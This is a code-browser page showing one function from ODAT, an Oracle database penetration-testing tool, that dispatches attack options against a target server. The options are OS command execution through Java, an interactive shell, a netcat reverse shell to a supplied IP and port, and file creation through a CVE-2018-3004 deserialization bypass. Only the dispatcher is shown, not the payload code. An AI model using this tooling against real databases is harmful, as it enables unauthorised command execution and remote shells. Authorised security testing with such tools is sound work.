MCPcopy Create free account
hub / github.com/quentinhardy/odat / runjavaModule

Function runjavaModule

Java.py:338–369  ·  view source on GitHub ↗

Run the JAVA module

(args)

Source from the content-addressed store, hash-verified

336 self.args['print'].badNews("KO")
337
338def runjavaModule(args):
339 '''
340 Run the JAVA module
341 '''
342 status = True
343 if checkOptionsGivenByTheUser(args,["test-module", "shell", "reverse-shell", "exec", "create-file-CVE-2018-3004"]) == False : return EXIT_MISS_ARGUMENT
344 java = Java(args)
345 status = java.connection(stopIfError=True)
346 if args['test-module'] == True :
347 args['print'].title("Test if the DBMSScheduler library can be used")
348 status = java.testAll()
349 #Option 1: exec
350 if args['exec'] != None:
351 args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server']))
352 status = java.execOSCommand(cmd=args['exec'],printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True)
353 #Option 2: shell
354 if args['shell'] == True:
355 args['print'].title("Try to give you a pseudo shell to the {0} server".format(args['server']))
356 java.getInteractiveShell()
357 #Option 3: reverse shell
358 if args['reverse-shell'] != None :
359 args['print'].title("Try to give you a nc reverse shell from the {0} server".format(args['server']))
360 java.giveReverseShell(localip=args['reverse-shell'][0],localport=args['reverse-shell'][1])
361 #Option 4: Bypass built in Oracle JVM security through Deserialization (CVE-2018-3004)
362 if args['create-file-CVE-2018-3004'] != None :
363 args['print'].title("Try to create the file {0} on {1}".format(args['create-file-CVE-2018-3004'][1],args['server']))
364 status = java.createOrAppendFileViaCVE_2018_3004(data=args['create-file-CVE-2018-3004'][0], remoteFilename=args['create-file-CVE-2018-3004'][1])
365 if isinstance(status,Exception):
366 args['print'].badNews("Impossible to create the file {0}: {1}".format(args['create-file-CVE-2018-3004'][1], status))
367 elif status==True:
368 args['print'].goodNews("The file {0} has been created on the target with data '{1}'".format(args['create-file-CVE-2018-3004'][1], args['create-file-CVE-2018-3004'][0]))
369 java.close()
370
371

Callers

nothing calls this directly

Calls 12

testAllMethod · 0.95
execOSCommandMethod · 0.95
getInteractiveShellMethod · 0.95
giveReverseShellMethod · 0.95
JavaClass · 0.85
connectionMethod · 0.80
titleMethod · 0.80
badNewsMethod · 0.80
goodNewsMethod · 0.80
closeMethod · 0.80

Tested by

no test coverage detected